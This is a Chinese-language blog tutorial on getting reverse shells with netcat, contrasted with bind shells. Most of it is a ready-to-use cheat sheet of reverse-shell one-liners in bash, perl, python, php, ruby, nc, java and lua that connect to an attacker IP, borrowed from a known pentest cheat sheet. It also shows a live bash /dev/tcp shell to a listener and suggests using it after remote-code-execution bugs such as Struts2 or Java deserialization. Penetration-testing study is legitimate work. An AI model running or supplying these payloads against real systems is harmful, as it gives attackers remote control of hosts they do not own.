1. 程式人生 > >NC——反彈shell

NC——反彈shell

瑞士軍刀netcat,這隻喵的名氣不言而喻,不管是滲透還是取證,100KB的小身板卻蘊含著巨大的能量,今天我們來簡單研究下如何使用nc反彈shell。

先來個正向shell做下對比:

nc -lvvp 1988 -e /bin/bash   
nc Rhost 1988                   //hacker

反向shell:

nc -e /bin/bash Lhost 1988
nc -lvvp 1988                   //hacker

看出為什麼要用反彈shell了麼,如果我們處於內網,我們可以藉助frp進行埠代理,但是目標主機處於內網你就沒法正向代理了,當然,如果你要做雷鋒給他配個frp的話,是在下輸了。
當然啦,如果目標是windows系統,/bin/bash換成cmd.exe絕對路徑即可,當然這個cmd.exe可以是C:\Windows\System32\cmd.exe,亦可以是通過webshell上傳的cmd.exe,實戰的話後者更多一點。
然後還有一種更現實的情況,靶機不會給你提供nc的環境,你也不會那麼輕易成功將nc上傳至靶機,所以更多的情況需要你就地取材,網上有國外大佬整理了各種版本的shell寫法,在此借鑑,並附上真·原文連線。

#bash版本:
bash -i >& /dev/tcp/10.0.0.1/8080 0>&1 #perl版本: perl -e 'use Socket;$i="10.0.0.1";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};' #python版本: python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);' #php版本: php -r '$sock=fsockopen("10.0.0.1",1234);exec("/bin/sh -i <&3 >&3 2>&3");' #ruby版本: ruby -rsocket -e'f=TCPSocket.open("10.0.0.1",1234).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)' #nc版本: nc -e /bin/sh 10.0.0.1 1234 rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 1234 >/tmp/f nc x.x.x.x 8888|/bin/sh|nc x.x.x.x 9999 #java版本 r = Runtime.getRuntime() p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/10.0.0.1/2002;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[]) p.waitFor() #lua lua -e "require('socket');require('os');t=socket.tcp();t:connect('10.0.0.1','1234');os.execute('/bin/sh -i <&3 >&3 2>&3');" 

真·原文連結:
http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet

以上內容均為靶機端配置,筆者語言廣度不足沒發給予一一驗證了,但在這裡我們簡單復現下bash環境下的反彈。
bash -i >& /dev/tcp/172.16.222.81/1988 0>&1

  parrot


nc -lvvp 1988

  反彈shell


因為編碼問題字型可能不怎麼好看,但是反彈shell的確成功了。
為什麼要特意講下bash環境下的反彈shell,因為我們常會見到一些遠端命令執行的漏洞,如strus2漏洞、java反序列化漏洞等,此時我們許可權較低,但的的確確具備命令執行的許可權,便可以藉助當前環境實現nc反彈shell,為進一步提權做準備。